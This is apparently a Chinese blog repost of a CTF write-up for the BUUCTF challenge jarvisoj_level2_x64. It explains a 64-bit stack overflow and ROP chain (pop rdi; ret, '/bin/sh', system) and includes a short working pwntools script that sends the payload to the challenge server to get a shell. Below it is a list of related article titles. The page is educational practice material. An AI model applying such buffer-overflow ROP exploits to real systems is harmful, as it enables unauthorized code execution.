当前位置: 首页 > news >正文

buu-jarvisoj_level2_x64-好久不见37

  1. 覆盖缓冲区和 RBP:
    使用 128 + 8 字节覆盖 bufrbp

  2. 构造 ROP 链:

    • pop rdi; ret 地址:pop rdi; ret 指令的地址写入返回地址位置。

    • /bin/sh 地址:/bin/sh 字符串的地址压入栈顶,作为 system 函数的参数。

    • system 地址:system 函数的地址写入返回地址位置。

  3. 执行流程:

    • 子函数返回到 pop rdi; ret 指令,该指令将 /bin/sh 地址出栈并存入 rdi 寄存器。

    • 然后程序返回到 system 函数,执行 system("/bin/sh")


一句话总结:

通过覆盖缓冲区和 RBP,构造 ROP 链(pop rdi; ret/bin/sh 地址 → system 地址),使程序执行 system("/bin/sh"),从而获取 shell。

from pwn import *
from LibcSearcher import *
context.log_level='debug'
p=remote('node5.buuoj.cn',25669)

payload=b'a'*(0x88)+p64(0x004006b3)+p64(0x00600A90)+p64(0x004004C0)
p.sendline(payload)
p.interactive()
 

http://www.dtcms.com/a/19879.html

相关文章:

  • Ubuntu 上安装 Elasticsearch 7.6.0
  • 计算机毕业设计--基于深度学习技术(Yolov11、v8、v7、v5)算法的高效人脸检测模型设计与实现(含Github代码+Web端在线体验界面)
  • 接入 SSL 认证配置:满足等保最佳实践
  • 神经网络常见激活函数 12-Swish函数
  • 动态规划 之 排列与组合问题
  • SpringBoot(接受参数相关注解)
  • Unity序列化多态数组
  • PyQt6/PySide6 的 QThread 类
  • 18.Python实战:实现年会抽奖系统
  • 计算机网络原理试题二
  • 1317:【例5.2】组合的输出
  • Spring Boot中如何自定义Starter
  • DC-6靶机渗透测试全过程
  • matlab平面波展开法计算的二维声子晶体带隙
  • 代码讲解系列-CV(三)——Transformer系列
  • SQL 建表语句详解
  • (前端基础)HTML(二)
  • 用xml配置spring, bean标签有哪些属性?
  • 机器学习实战(3):线性回归——预测连续变量
  • 小小小病毒(3)(~_~|)
  • 51单片机-数码管
  • Java函数计算冷启动从8s到800ms的优化实录
  • Go 切片导致 rand.Shuffle 产生重复数据的原因与解决方案
  • 2024 年 9 月青少年软编等考 C 语言三级真题解析
  • 多个用户如何共用一根网线传输数据
  • docker-compose rocketmq5.1.3
  • qt-C++笔记之QGraphicsScene和 QGraphicsView中setScene、通过scene得到view、通过view得scene
  • 自助优化排名工具:智能更新网站优化
  • 考研高数复习规范
  • Linux-C/C++《七、字符串处理》(字符串输入/输出、C 库中提供的字符串处理函数、正则表达式等)